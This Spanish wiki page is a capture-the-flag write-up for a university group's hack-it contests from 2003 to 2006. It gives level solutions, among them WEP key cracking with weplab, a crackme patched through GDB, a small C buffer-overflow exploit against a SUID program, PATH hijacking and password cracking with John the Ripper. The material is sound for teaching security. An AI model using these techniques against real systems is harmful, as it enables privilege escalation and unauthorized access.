GhostHackIt

De GhostWiki
Revisión del 16:35 29 ago 2010 de AdminGhost (discusión | contribuciones) (PhpWikiMigration)
(dif) ← Revisión anterior | Revisión actual (dif) | Revisión siguiente → (dif)
Saltar a: navegación, buscar

Ghost Hack-It==============

Hack-It Semana Ciencias y Letras 2006====

Instalación

Si quieres instalarte este juego en tu ordenador, sólo tienes que hacer esto:

0) Prerrequisitos: un servidor web.

1) Bájate este TGZ y descomprímelo en tu directorio raíz de documentos web (DocumentRoot en Apache, en Debian sería en /var/www).

2) Accede a tu servidor web y deberías ver la web del concurso

Resolución

Nivel 1

Autenticación web con javascript.

Es una autenticación muy simple, aunque mosquea la redefinición de la función Login un poco más abajo.

Nivel 2

HTML ofuscado.

Se usa la ofuscación más simple, que es usar los códigos unicode de cada letra, con las funciones escape y unescape de javascript. En esta web: http://www.linkedresources.com/tools/unescaper_v0.2b1.html se puede "descifrar" fácilmente el código sin problemas.

Kodemonk Aún más sencillo y elegante es guardar la pagina en disco y modifcar los document.write por window.alert, te van saliendo popups con el código de la página ;D

Saladino Todavia más sencillo, con la extension WebDeveloper de firefox le das Information->View Javascript Y ahi sale todo el tema como "inline scripts". Tiempo aproximado: 2 nibblegundos. :P

Nivel 3

Esteganografia.

Los dos robotitos de las imágenes parecen idénticos pero al mirar los ficheros son claramente diferentes. Con el programa outguess obtenemos los datos ocultos en cada fichero:

$ outguess -r datos1.txt robotito1.jpg
$ outguess -r datos2.txt robotito2.jpg

En la pista nos dicen que en la diferencia está la clave así que:

$ diff datos1.txt datos2.txt

y listo :-)

Nivel 4

Cracking WEP.

Lo primero que tenemos que hacer es analizar la captura (no seamos gañanes y nos aventuremos a un tipo de ataque sin mirar):

$ weplab -a captura-level4-indiferencia.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - TopoLB <topolb@users.sourceforge.net>


Statistics for packets that belong to F7:33:8F:B3:CC:72
 - Total valid packets read: 0
 - Total packets read: 1
 - Total unique IV read: 0
 - Total truncated packets read: 1
 - Total non-data packets read: 1
 - Total FF checksum packets read: 0
Statistics for packets that belong to 00:14:BF:48:90:DE
 - Total valid packets read: 1990
 - Total packets read: 1990
 - Total unique IV read: 1990
 - Total truncated packets read: 1293
 - Total non-data packets read: 0
 - Total FF checksum packets read: 0
PRISMHEADER SHOULD --NOT-- BE USED as there are 697 packets smaller than this header

Como vemos, la captura solamente tiene 1990 paquetes, por lo que el ataque estadístico queda descartado. Solo nos quedan los de fuerza bruta y diccionario. El más rápido de los dos es el de diccionario, que puede recorrer un diccionario inglés o castellano en pocos segundos. Además, nos dicen que la clave es muy sencilla, asi que o bien es por diccionario sin complicaciones o bien es una fuerza bruta en las primeras combinaciones.

Descargamos el paquete wspanish que contiene todas las palabras del castellano y probamos con él:

$ cat /usr/share/dict/spanish | weplab -y captura-level4-indiferencia.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - TopoLB <topolb@users.sourceforge.net>
Not BSSID specified.
 Detected one packet with BSSID: 00:14:BF:48:90:DE
Total valid packets read: 697
Total packets read: 1991


Statistical cracking started==== Please hit enter to get statistics from John.====
Weplab statistics will be printed each 5 seconds
It seems that the first control data packet verifies the key==== Let's test it with others....====
Right KEY found======
Passphrase was --> salsa
Key: 73:61:6c:73:61
This was the end of the dictionnary attack.
-)

Nivel 5

Criptoanalisis.

Tenemos que descifrar este código:

ZPFNTXP O GNGFFUBLTS RNLBBHX YM OHTKVS, QTLHOG WY QFCYOORWWUE. IZMCNO ZHWBZWSUDWCG XFZ SGYNWUH 08:30b, NOFJO BX 9863, 220 UKUECG, 8 FCMZOL HBIHBWBG, GBAVWSGXP OZ XHFAWZI. COFHGFHFH 14 GJZWUUSSG, GHP 4, JWLCCWZBXBR 4.

Además, nos dan esta pista:

Kasiki bricht diese Anzeige mit dem Versuchen mit fünf von lenght========

Vamos a un traductor automático (el de Google por ejemplo) y obtenemos que la pista quiere decir algo similar a:

Kasiki rompería este mensaje probando con 5 como longitud========

Humm,, interesante. ¿Quién era Kasiki? Buscamos por él en Google y nos sugiere que probemos con Kasiski. Miramos en la Wikipedia y Kasiski fue famoso por romper el cifrado de Vigèrene. Buscamos una herramienta para romper Vigèrene con tamaño 5 de clave y obtenemos el texto en claro, que fue el primer mensaje de ENIGMA de 4 rotores descrifrado, y la clave, bastante sencilla.

Nivel 6

Crackme fácil.

El nivel tiene un programa que comprueba si un serial es correcto o no. Si es correcto, muestra la contraseña del siguiente nivel.

Lo primero que hacemos es un strings del programa, por si hay strings en claro:

$ strings crackme
/lib/ld-linux.so.2
JvRegisterClasses
'gmonstart_
libc.so.6
printf
puts
exit
IOstdin_used
'libcstartmain
GLIBC_2.0
PTRh`
^_
^_
^_
0123-4444-78
NOT REGISTERED========
Password:
0121-4123-71

Hummm, podría ser que 0123-4444-78 y 0121-4123-71 fueran los serials que se comparan. Hacemos la prueba modificando alguno de los dos para que sea igual que el otro (con el propio vi se puede hacer) y... voilá========

Algo más evolucionado:

  1. Cargamos el ejecutable en el GDB
  2. Ponemos un breakpoint en el main
  3. Ejecutamos paso a paso hasta que salga el mensaje de NOT REGISTERED========
  4. Miramos la dirección del código donde ha dado ese mensaje y buscamos un salto condicional anterior
  5. Cambiamos ese salto condicional por su contrario
$ gdb crackme
GNU gdb 6.4-debian
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthreaddb library "/lib/tls/i686/cmov/libthreaddb.so.1".
(gdb) break main
Breakpoint 1 at 0x80483e9
(gdb) run
Starting program: /home/txipi/semanaeside2006/www/crackme
Breakpoint 1, 0x080483e9 in main ()
(gdb) nexti
d0x080483ec in main ()
(gdb)
0x080483ef in main ()
(gdb)
0x080483f4 in main ()
(gdb)
0x080483f7 in main ()
(gdb)
0x080483fa in main ()
(gdb)
0x080483fd in main ()
(gdb)
0x08048400 in main ()
(gdb)
0x08048402 in main ()
(gdb)
0x08048406 in main ()
(gdb)
0x0804840a in main ()
(gdb)
0x0804840e in main ()
(gdb)
0x08048412 in main ()
(gdb)
0x08048416 in main ()
(gdb)
0x0804841a in main ()
(gdb)
0x0804841e in main ()
(gdb)
0x08048422 in main ()
(gdb)
0x08048426 in main ()
(gdb)
0x0804842a in main ()
(gdb)
0x0804842e in main ()
(gdb)
0x08048433 in main ()
(gdb)
0x08048436 in main ()
0x0804843b in main ()
(gdb)
0x0804843e in main ()
(gdb)
0x08048443 in main ()
(gdb)
0x08048446 in main ()
(gdb)
0x0804844d in main ()
(gdb)
0x08048450 in main ()
(gdb)
0x08048453 in main ()
(gdb)
0x08048456 in main ()
(gdb)
0x0804845d in main ()
(gdb)
0x08048464 in main ()
(gdb)
0x08048465 in main ()
(gdb)
0x08048468 in main ()
(gdb)
0x0804846b in main ()
(gdb)
0x0804846e in main ()
(gdb)
0x0804846e in main ()
(gdb)
0x0804846e in main ()
(gdb)
0x0804846e in main ()
(gdb)
0x08048470 in main ()
(gdb)
0x08048473 in main ()
(gdb)
0x08048476 in main ()
(gdb)
0x08048478 in main ()
(gdb)
0x0804847a in main ()
(gdb)
0x0804847c in main ()
(gdb)
0x0804847f in main ()
(gdb)
0x08048481 in main ()
(gdb)
0x08048483 in main ()
(gdb)
0x0804848a in main ()
(gdb)
NOT REGISTERED========
(gdb) disas main
Dump of assembler code for function main:
0x080483e4 <main+0>:    push   %ebp
0x080483e5 <main+1>:    mov    %esp,%ebp
0x080483e7 <main+3>:    push   %edi
0x080483e8 <main+4>:    push   %esi
0x080483e9 <main+5>:    sub    $0x40,%esp
0x080483ec <main+8>:    and    $0xfffffff0,%esp
0x080483ef <main+11>:   mov    $0x0,%eax
0x080483f4 <main+16>:   add    $0xf,%eax
0x080483f7 <main+19>:   add    $0xf,%eax
0x080483fa <main+22>:   shr    $0x4,%eax
0x080483fd <main+25>:   shl    $0x4,%eax
0x08048400 <main+28>:   sub    %eax,%esp
0x08048402 <main+30>:   movb   $0x3f,0xffffffe9(%ebp)
0x08048406 <main+34>:   movb   $0x2d,0xffffffea(%ebp)
0x0804840a <main+38>:   movb   $0x2f,0xffffffeb(%ebp)
0x0804840e <main+42>:   movb   $0x2d,0xffffffec(%ebp)
0x08048412 <main+46>:   movb   $0x2f,0xffffffed(%ebp)
0x08048416 <main+50>:   movb   $0x3b,0xffffffee(%ebp)
0x0804841a <main+54>:   movb   $0x3e,0xffffffef(%ebp)
0x0804841e <main+58>:   movb   $0x2f,0xfffffff0(%ebp)
0x08048422 <main+62>:   movb   $0x34,0xfffffff1(%ebp)
0x08048426 <main+66>:   movb   $0x3b,0xfffffff2(%ebp)
0x0804842a <main+70>:   movb   $0x3f,0xfffffff3(%ebp)
0x0804842e <main+74>:   mov    0x8048649,%eax
0x08048433 <main+79>:   mov    %eax,0xffffffdc(%ebp)
0x08048436 <main+82>:   mov    0x804864d,%eax
0x0804843b <main+87>:   mov    %eax,0xffffffe0(%ebp)
0x0804843e <main+90>:   mov    0x8048651,%eax
0x08048443 <main+95>:   mov    %eax,0xffffffe4(%ebp)
0x08048446 <main+98>:   movzbl 0x8048655,%eax
0x0804844d <main+105>:  mov    %al,0xffffffe8(%ebp)
0x08048450 <main+108>:  lea    0xffffffdc(%ebp),%eax
0x08048453 <main+111>:  mov    %eax,0xffffffd4(%ebp)
0x08048456 <main+114>:  movl   $0x8048618,0xffffffd0(%ebp)
0x0804845d <main+121>:  movl   $0xd,0xffffffcc(%ebp)
0x08048464 <main+128>:  cld
0x08048465 <main+129>:  mov    0xffffffd4(%ebp),%esi
0x08048468 <main+132>:  mov    0xffffffd0(%ebp),%edi
0x0804846b <main+135>:  mov    0xffffffcc(%ebp),%ecx
0x0804846e <main+138>:  repz cmpsb %es:(%edi),%ds:(%esi)
0x08048470 <main+140>:  seta   %dl
0x08048473 <main+143>:  setb   %al
0x08048476 <main+146>:  mov    %dl,%cl
0x08048478 <main+148>:  sub    %al,%cl
0x0804847a <main+150>:  mov    %cl,%al
0x0804847c <main+152>:  movsbl %al,%eax
0x0804847f <main+155>:  test   %eax,%eax
0x08048481 <main+157>:  je     0x804849b <main+183>
0x08048483 <main+159>:  movl   $0x8048625,(%esp)
0x0804848a <main+166>:  call   0x80482f0 <puts@plt>
0x0804848f <main+171>:  movl   $0xffffffff,(%esp)
0x08048496 <main+178>:  call   0x8048320 <exit@plt>
0x0804849b <main+183>:  movl   $0x8048637,(%esp)
0x080484a2 <main+190>:  call   0x8048310 <printf@plt>
0x080484a7 <main+195>:  movl   $0x0,0xfffffff4(%ebp)
0x080484ae <main+202>:  jmp    0x80484d3 <main+239>
0x080484b0 <main+204>:  mov    0xfffffff4(%ebp),%eax
0x080484b3 <main+207>:  movzbl 0xffffffe9(%ebp,%eax,1),%eax
0x080484b8 <main+212>:  movsbl %al,%eax
0x080484bb <main+215>:  add    $0x34,%eax
0x080484be <main+218>:  mov    %eax,0x4(%esp)
0x080484c2 <main+222>:  movl   $0x8048643,(%esp)
0x080484c9 <main+229>:  call   0x8048310 <printf@plt>
0x080484ce <main+234>:  lea    0xfffffff4(%ebp),%eax
0x080484d1 <main+237>:  incl   (%eax)
0x080484d3 <main+239>:  cmpl   $0xa,0xfffffff4(%ebp)
0x080484d7 <main+243>:  jle    0x80484b0 <main+204>
0x080484d9 <main+245>:  movl   $0x8048646,(%esp)
0x080484e0 <main+252>:  call   0x8048310 <printf@plt>
0x080484e5 <main+257>:  lea    0xfffffff8(%ebp),%esp
0x080484e8 <main+260>:  pop    %esi
0x080484e9 <main+261>:  pop    %edi
0x080484ea <main+262>:  pop    %ebp
0x080484eb <main+263>:  ret
0x080484ec <main+264>:  nop
0x080484ed <main+265>:  nop
0x080484ee <main+266>:  nop
0x080484ef <main+267>:  nop
End of assembler dump.

Es muy probable que la clave esté en

0x08048481 <main+157>:  je     0x804849b <main+183>

que es el salto condicional anterior a la escritura del mensaje.

Arrancamos el biew y pulsamos F8 para que nos muestre la cabecera, al pulsar ENTER nos pone en el entrypoint del programa:

Entry point VA                    = 08048340H (offset: 00000340H)

También vemos que todo lo que en memoria es 08048XXX realmente en disco es XXX, o sea que si queremos ir a 0x8048481 tendremos que ir a 0x0000481. Si damos a desensamblar veremos que tenemos el mismo desensamblado que desde el GDB. Buscamos el je (codigo 74) y lo modificamos por un jne (codigo 75) y... tachán==== :-)====

Nivel 7

Crackme difícil.

Hack-It EuskalEncounter12 2004====

Instalación

Si quieres instalarte este juego en tu ordenador, sólo tienes que hacer esto:

0) Prerrequisitos: un servidor web.

1) Bájate hackitEKParty2004.tgz y descomprímelo en tu directorio raíz de documentos web (DocumentRoot en Apache, en Debian sería en /var/www).

2) Accede a tu servidor web y deberías ver la web del concurso

Resolución

Si quieres las soluciones de los ganadores del concurso, bájate hackitEKParty2004.txt .

Ghost Hack-It 2004====

Instalación

Si quieres instalarte este juego en tu ordenador, sólo tienes que hacer esto:

0) Prerrequisitos: apache instalado con soporte para PHP y CGIs en Perl. GCC, GDB, BIEW instalados.

1) Bájate [1]] y http://www.e-ghost.deusto.es/docs/shell-levels.tgz web-levels.tgz ], y descomprímelos en / (como root): cd / tar xfzp web-levels.tgz tar xfzp shell-levels.tgz 2) Añadir las lineas contenidas en los ficheros [http://www.e-ghost.deusto.es/docs/shadow.hackit04 y http://www.e-ghost.deusto.es/docs/group.hackit04 passwd.hackit04 | http://www.e-ghost.deusto.es/docs/passwd.hackit04 , [[ shadow.hackit04 ] a los respectivos ficheros (como root):

cat passwd.hackit04 >> /etc/passwd
cat shadow.hackit04 >> /etc/shadow
cat group.hackit04 >> /etc/group

3) Compilar el fichero pass04.c y copiarlo a /bin (como root):

gcc pass04.c -o pass
cp pass /bin
chmod 711 /bin/pass

4) Opcionalmente puedes instalar esta línea en el crontab:

    *       /root/level7.crontab

copiar /var/mail/level7 en /root/level7.mbox y hacer que el script /root/level7.crontab contenga lo siguiente:

#====/bin/sh====
cat /root/level7.mbox > /var/mail/level7

NOTA: Los UID y GID de los usuarios de tu sistema pueden colisionar con los del hackit, así que quizá debas cambiar los números en tu passwd, group y los propietarios de los directorios en /home.

Resolución

Para jugar deberemos acceder por web a la dirección IP del servidor del hack-it, donde se nos explicará el desarrollo del juego.

Nivel 1

Autenticación web con javascript.

Nivel 2

Autenticación web con flash.

Nivel 3

Autenticación web con javascript.

Nivel 4

Vulnerabilidad en PHP.

Nivel 5

Vulnerabilidad en CGI.

Nivel 6

Buffer overflow en programa con SUID.

Nivel 7

Correo electrónico "cifrado".

  • Leer el correo, haciendo un "mail", un "cat" de /var/mail/level7 o mediante una sesión de POP3 con el servidor.
  • Descifrar la clave, con este programilla (algoritmo del Cesar, clave "g" = 7):
main()
{
       char pass[[[10]] = "ipuawhcvz";
       int key = 7;
       int i = 0;
       for(i=0;i<9;i++)
       {
               pass[[[i]] -= key;
               if (pass[[[i]] < 'a')
                       pass[[[i]] += 26;
       }
       printf("Pass: %s", pass);
}

Nivel 8

Buffer overflow en programa con SUID.

  • Habia que crackear este programa:
main(int argc, char *argv[[[]])
{
  int crap;
  int check;
  char buf[[[20]];
  strncpy(buf,argv[[[1]],25);
  if (check0xdeadbeef)
  {
    system("/bin/pass");
  }
}
  • Por ejemplo con este otro:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
main()
{
 char buf[[[25]] = "AAAAAAAAAAAAAAAAAAAAAAAAA";
 char *args[[[]] = { "/home/level8/level8", buf, NULL };
 buf[[[20]] = 0xef;
 buf[[[21]] = 0xbe;
 buf[[[22]] = 0xad;
 buf[[[23]] = 0xde;
 execv("/home/level8/level8", args);
}

Nivel 9

Modificación de binario.

Nivel 10

Overflow en programa con SUID.


Ghost Hack-It 2003====

En esta página comentaremos los diferentes niveles del concurso "Hack-it 2003" celebrado durante la Semana ESIDE 2003.

Instalación

Si quieres instalarte este juego en tu ordenador, sólo tienes que hacer esto:

1) Bajarte hacklab.tgz y descomprimirlo en /home (como root):

cd /home
tar xzf hacklab.tgz

2) Añadir las lineas contenidas en los ficheros [2]] y http://www.e-ghost.deusto.es/docs/group.hackit passwd.hackit | http://www.e-ghost.deusto.es/docs/passwd.hackit , [[ shadow.hackit ] a los respectivos ficheros (como root):

cat passwd.hackit >> /etc/passwd
cat shadow.hackit >> /etc/shadow
cat group.hackit >> /etc/group

3) Compilar el fichero pass.c y copiarlo a /bin (como root):

make pass
cp pass /bin
chmod 711 /bin/pass

4) Instalar un apache con soporte para mod_cgi (es lo normal tenerlo habilitado) y poner el [3]] en /var/www (o donde esté el DocumentRoot en tu sistema), y este CGI [[ nslookup.pl |http://www.e-ghost.deusto.es/docs/nslookup.pl nivel11.html ] en /usr/lib/cgi-bin (o donde tengais el ScriptAlias /cgi-bin/ en tu Apache).

apt-get install apache
cp nivel11.html /var/www
cp nslookup.pl /usr/lib/cgi-bin


Resolución

Nivel 0

Bienvenido al nivel 0, este es el nivel inicial.
El funcionamiento del "hack it" es el siguiente:
* Existen 10 niveles que deberás ir superando
 (level0, lenivel1, level2... level9).
* En cada nivel hay un programa que te dará
 acceso al siguiente nivel, es decir un programa
 que pertenece al usuario del siguiente nivel,
 pero que tu puedes ejecutar.
* Una vez hayas conseguido ejecutar ese programa
 y ascender de nivel, deberás llamar al programa
 "pass" para que te diga tu nueva contraseña.
* En cada directorio tienes un subdirectorio /tmp
 para poder hacer ahí tus pruebas.
                                     SUERTE======

Resolución:

Este nivel es prácticamente de prueba, sólo haciendo ls -al en el directorio actual vemos que hay un ejecutable con SUID y perteneciente al nivel1:

-rwsr-x---    1 nivel1   nivel0       4927 Dec 20 15:59 .oculto

lo ejecutamos...

Parece que no estaba tan oculto, eh========
Ejecuta "pass" para saber tu nueva contraseña========
sh-2.05b$

y ejecutamos pass para conseguir la contraseña del nivel recien alcanzado.

Una vez hecho esto, nos convertimos en el usuario nivel1:

su - nivel1


Nivel 1

Has conseguido pasar al nivel 1, parece que
has entendido bien como va el juego ;-)
Este nivel es parecido al anterior, pero tu
puerta al nivel 2 está un poco mejor escondida========
                                     SUERTE======

Este nivel es prácticamente igual que el anterior, sólo que el ejecutable está un poco mejor ocultado. Si hacemos un ls -al vemos que hay dos directorios que se llaman .. :

drwxr-x---    4 root     level1       4096 Dec 20 16:05 .
drwxr-xr-x   15 root     root         4096 Mar 30 18:32 ..
drwxr-xr-x    2 root     root         4096 Dec 20 16:03 ..

Si intentamos entrar en el directorio con "cd .." nos sacará al directorio anterior. Tenemos que fijarnos que a pesar de que parecen iguales, los directorios se llaman diferente, el original es ".." y el oculto es el ".. ". Por ello, tenemos en cuenta este último espacio y entramos con cuidado:

cd ".. "

Una vez allí, ejecutamos el fichero "a.out" que tiene el bit de SUID activado y pertenece a nivel2, permitiéndonos el salto al nivel superior.


Nivel 2

Ya estás en el nivel 2, los dos primeros han
sido pan comido, pero ahora nos ponemos serios...
La puerta al siguiente nivel te la dará el
programa "run", pero tendrás que pasarle algo
como parámetro.
¿Cuál es el programa más importante de este juego?
                                     SUERTE======

En este nivel tenemos un programa que va a ejecutar el comando que nosotros queramos con privilegios del nivel superior, así que lo único que tenemos que hacer es pedirle que ejecute "pass" con privilegios del nivel3:

./run pass

Y nos dará la contraseña del nivel3, no del nivel2 :-)


Nivel 3

Bueno, bueno, subes como la espuma...
Esto ya va convirtiendose en un reto entre tu
y yo, no sé si estarás a la altura.
En este nivel tenemos un programa que nos da
la fecha del sistema, pero como soy un poco
vago, en lugar de hacerlo yo, llamo a un comando
del sistema, quizá puedas aprovecharte de ello
para pasar al siguiente nivel.
                                     SUERTE======


Este nivel ya tiene un poco más de tema. Sabemos que hay un programa que se ejecuta como nivel4 y que llama al comando date del sistema:

$ ./fecha Sun Mar 30 18:42:40 CEST 2003 $ date Sun Mar 30 18:42:44 CEST 2003

Vamos a presuponer que no ha puesto toda la ruta al comando date, sino que presupone que "date" está en el path. En base a esto, crearemos un programa "date" en el directorio actual, y añadiremos el directorio actual (el directorio ".") al path:

export PATH=.:$PATH

Para crear nuestra versión de date, deberemos estar en el directorio tmp de pruebas. ¿Qué programa queremos que se ejecute en lugar de date? "pass", para tener la nueva contraseña y aprovecharnos del fallo del programa "fecha". Para ello creamos un enlace simbólico desde nuestro "date" a /bin/pass:

cd tmp
ln -s /bin/pass date
../fecha

Y con eso conseguimos la contraseña del nivel superior. En este nivel se demuestra el peligro de añadir el "." al PATH ;-P


Nivel 4

Ya queda menos==== Empieza lo bueno...====
Hace unos días entré en un viejo servidor
koreano y conseguí un fichero de passwords.
Como no tenía el día muy original, puse la
misma contraseña al usuario level5 que la que
conseguí con ese fichero.
Ah, recuerdos de tu buen amigo John ;-)
                                     SUERTE======

Para crackear un fichero de passwords usaremos el programa "john the ripper" que está instalado en el servidor, en /usr/sbin/john. El john necesita crear un fichero temporal "john.pot", por lo que deberemos lanzarlo desde nuestro directorio temporal:

cd tmp
/usr/sbin/john -i ../etc/passwd

En un par de minutos tendremos nuestra nueva contraseña crackeada.


Nivel 5

Bien, bien, veamos si eres todo lo buen cracker
que has parecido demostrar.
Para guardar la siguiente contraseña he
preferido usar mi navegador para emplear
el viejo método de cambiar las letras, piensa
a ver cómo puedes encontrar la contraseña original.
                                     SUERTE======

Nivel 6

Nivel 7

Nivel 8

Nivel 9

Nivel 10

Nivel 11

Nivel 12

Nivel 13

Nivel 14

Nivel 15

Nivel 16